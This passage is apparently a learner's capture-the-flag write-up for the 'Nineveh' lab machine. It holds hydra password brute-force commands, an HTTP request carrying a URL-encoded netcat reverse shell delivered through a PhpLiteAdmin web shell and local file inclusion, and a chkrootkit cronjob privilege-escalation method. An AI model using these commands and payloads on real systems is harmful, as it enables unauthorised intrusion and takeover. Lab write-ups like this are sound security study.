Nineveh (Linux)

Some new things I learned/used for this first time with this challenge

Enumeration:

Please use multiple different directory busting tools. For some reason different tools will find different results even though it is the same target and wordlist.
I don't know the reason for this but for future reference just always atleast try dirbuster and ffuf, not just one or the other.

Foothold:
This box involved using hydra for the first time to bruteforce some simple passwords. As far as I know, hydra is not on the OSCP exam because it is an automated tool for bruteforcing passwords.
For the OSCP, I should atleast be familiar with credential spraying attacks.

```
# Department hydra attack
hydra -l none -P rockyou.txt 10.10.10.43 http-post-form
"/department/login.php:username=admin&password=^PASS^:Invalid Password" -t 64 -V

# Database Hydra attack
hydra -l none -P rockyou.txt 10.10.10.43 https-post-form
"/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect
password" -t 64 -V
```

These hydra attacks really sucked, I am not going to lie they like barely worked.

Anyways once you get succesfful access to those login pages you can see that it is running PhpLiteAdmin.

Doing a searchsploit finds that this software has an authenticated remote code execution. Link: https://www.exploit-db.com/exploits/24044/

Bascially you create a database with the ".php" file extension at the end.
Then you create a table in the database with a php web shell.
Then you need to run the .php script.

Usually if you had access to a /uploads directory you would be able to run it from there, however this challenge you needed to use a LFI from the other login panel we bruteforced.

FOR THIS TO WORK, THE DATABASE MUST HAVE THE NAME "ninevehNotes" SOMEWHERE IN THE FILE NAME OR ELSE THE LOCAL FILE INCLUSION WILL NOT WORK.

```
GET /department/manage.php?notes=/var/tmp/
ninevehNotes.php&cmd=%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b
%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31
%30%2e%31%30%2e%31%34%2e%34%34%20%39%30%30%31%20%3e%2f%74%6d%70%2f%66  HTTP/1.1
Host: 10.129.58.56
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
```

```
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/
apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=r2kt97qt0sdb01iudrdivr04m4
Connection: keep-alive
```

t
Now we have a reverse shell as the user “www-data”

Priv Escalation

In the root directory we can see a non-default directory from the root directory that is named “reports”
Viewing the files in the directory we can see that they are being created every minute.
Each file contains a report that is being generated automatically.

With the nature of these files being generated every minute, we can tell it is a cronjob.

For cronjobs, I use pspy to check out the running processes.
From pspy, I see that chkrootkit is the script being run by root for this cronjob to generate those reports.

We can use searchsploit to find that there is a privilege esclation vulnerability that is exactly what we are looking for.

```
┌──(kali㉿kali)-[~/Desktop/tools]
└─$ searchsploit "chkrootkit"
------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                |  Path
------------------------------------------------------------------------------ ---------------------------------
Chkrootkit - Local Privilege Escalation (Metasploit)                          | linux/local/38775.rb
Chkrootkit 0.49 - Local Privilege Escalation                                  | linux/local/33899.txt
------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
```

All the exploit really is just creating a file in the /tmp directory named “updates” with a reverse bash shell contained inside.
Once that malicois file is created, named properly, and placed in the r